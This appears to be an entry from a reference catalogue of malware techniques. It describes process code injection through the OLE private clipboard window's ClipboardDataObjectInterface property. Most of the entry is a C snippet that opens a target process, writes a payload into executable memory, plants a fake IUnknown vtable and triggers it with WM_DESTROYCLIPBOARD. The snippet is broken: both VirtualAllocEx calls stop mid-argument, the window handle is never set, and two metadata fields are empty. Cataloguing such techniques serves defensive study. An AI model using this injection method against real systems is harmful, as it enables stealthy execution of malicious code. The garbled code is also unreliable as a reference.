Created the Tuesday 13 October 2020. Updated 1 year, 11 months ago.

The Object Linking & Embedding (OLE) library (ole32.dll) uses a private clipboard. It registers CLIPBRDWNDCLASS as a window class, creates a window derived from that class, and assigns a number of window properties to store the address of interfaces required to process clipboard data.
ClipboardDataObjectInterface, can be leveraged for code injection. Two other properties, ClipboardRootDataObjectInterface and ClipboardDataObjectInterfaceMTA can also be used.

If ClipboardDataObjectInterface is set to the address of an IUnknown interface and the clipboard window procedure receives a WM_DESTROYCLIPBOARD message, it will invoke the Release method.

Technique Identifier


Technique Tag


Code Snippets

typedef struct _IUnknown_t {
    // a pointer to virtual function table
    ULONG_PTR lpVtbl;
    // the virtual function table
    ULONG_PTR QueryInterface;
    ULONG_PTR AddRef;
    ULONG_PTR Release;       // executed for WM_DESTROYCLIPBOARD
} IUnknown_t;

// The following code assumes a valid clipboard window already exists. There is no error checking.
VOID clipboard(LPVOID payload, DWORD payloadSize) {
    HANDLE     hp;
    HWND       hw;
    DWORD      id;
    IUnknown_t iu;
    LPVOID     cs, ds;
    SIZE_T     wr;
    // 1. Find a private clipboard.
    //    Obtain the process id and open it
    GetWindowThreadProcessId(hw, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 2. Allocate RWX memory in process and write payload
    cs = VirtualAllocEx(hp, NULL, payloadSize,
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    // 3. Allocate RW memory in process.
    //    Initialize and write IUnknown interface
    ds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),
    iu.lpVtbl  = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    iu.Release = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);
    // 4. Set the interface property and trigger execution
    SetProp(hw, L"ClipboardDataObjectInterface", ds);
    PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);
    // 5. Release memory for code and data
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);

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